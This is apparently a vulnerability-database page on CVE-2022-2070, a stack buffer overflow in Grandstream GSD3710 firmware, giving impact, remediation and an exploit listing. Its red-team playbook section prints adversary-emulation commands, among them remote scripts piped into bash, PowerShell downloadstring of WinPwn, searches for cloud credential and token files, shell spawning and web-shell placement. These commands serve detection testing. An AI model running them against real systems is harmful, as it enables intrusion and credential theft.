CVE-2022-2070
Overview
This vulnerability is a stack-based buffer overflow occurring in Grandstream GSD3710 firmware version 1.0.11.13. The root cause is the lack of proper validation on parameter length before using the sscanf function, which leads to overwriting the stack memory. The flaw affects the dbmng and logsrv daemons that handle network connections on default ports 8000 and 8001 respectively.
Vulnerability Description
In Grandstream GSD3710 in its 1.0.11.13 version, it's possible to overflow the stack since it doesn't check the param length before using the sscanf instruction. Because of that, an attacker could create a socket and connect with a remote IP:port by opening a shell and getting full access to the system. The exploit affects daemons dbmng and logsrv that are running on ports 8000 and 8001 by default.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction or privileges, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation allows the attacker to open a remote shell, gaining full control of the device, including executing arbitrary code and potentially compromising the entire system. This can lead to unauthorized access, data exfiltration, or disruption of device functionality, severely impacting business operations relying on the affected VoIP hardware.
Solution
Grandstream has released security advisories addressing this buffer overflow in GSD3710 firmware version 1.0.11.13. Users are advised to update to the latest firmware version provided by Grandstream as detailed in the advisory published at https://www.incibe-cert.es/en/early-warning/security-advisories/buffer-overflow-vulnerabilities-grandstream-gsd3710. No specific workaround is documented; applying the official firmware update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Grandstream GSD3710 firmware version 1.0.11.13 arises from improper parameter length validation before utilizing the sscanf function. This oversight leads to a stack overflow condition, which can be exploited by attackers to manipulate the execution flow of the affected daemons, specifically dbmng and logsrv, that operate on ports 8000 and 8001 by default. When the sscanf function processes input without adequate bounds checking, it allows an attacker to overwrite the stack memory, potentially leading to arbitrary code execution. This flaw underscores a critical weakness in input validation practices within the firmware, highlighting the importance of robust coding standards in software development.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could establish a connection to the vulnerable service by crafting a malicious input that exceeds the expected parameter length. By sending this input to the dbmng or logsrv daemons, the attacker can trigger the stack overflow, leading to the execution of arbitrary code. This scenario could be executed remotely, making it particularly dangerous as it does not require physical access to the device. Furthermore, if the attacker successfully gains control over the system, they could leverage this access to perform a range of malicious activities, including data exfiltration, service disruption, or lateral movement within the network.
The real-world impact of this vulnerability is significant, especially for organizations relying on the Grandstream GSD3710 for their communication needs. The high CVSS score of 9.8 indicates that the vulnerability poses a critical risk, with the potential for severe consequences if exploited. Organizations could face financial losses due to service downtime, reputational damage from data breaches, and regulatory penalties if sensitive information is compromised. Additionally, the ability to execute arbitrary code remotely could allow attackers to install malware or create backdoors, further exacerbating the risk to the organization's infrastructure and data integrity.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is essential, as vendors often release patches to address known vulnerabilities. Network monitoring tools can be employed to detect unusual traffic patterns or unauthorized access attempts on the affected ports. Additionally, implementing intrusion detection systems (IDS) can help identify exploitation attempts in real-time. Organizations should also enforce strict access controls and segment their networks to limit the exposure of vulnerable devices. Conducting regular security assessments and penetration testing can further enhance the organization's security posture by identifying and addressing potential vulnerabilities before they can be exploited.
In conclusion, the vulnerability in the Grandstream GSD3710 firmware represents a critical security risk that can lead to severe consequences if left unaddressed. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such threats. Proactive detection and mitigation strategies are essential to safeguard against exploitation, ensuring the integrity and security of communication systems in an increasingly interconnected world.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Grandstream | Gds3710 Firmware | 1.0.11.13 |
cpe:2.3:o:grandstream:gds3710_firmware:1.0.11.13:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow | Pepelux | remote | multiple | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-2070 |
| incibe-cert.es |
GitHub CVE
x_refsource_CONFIRM
|
https://www.incibe-cert.es/en/early-warning/security-advisories/buffer-overflow-vulnerabilities-grandstream-gsd3710 |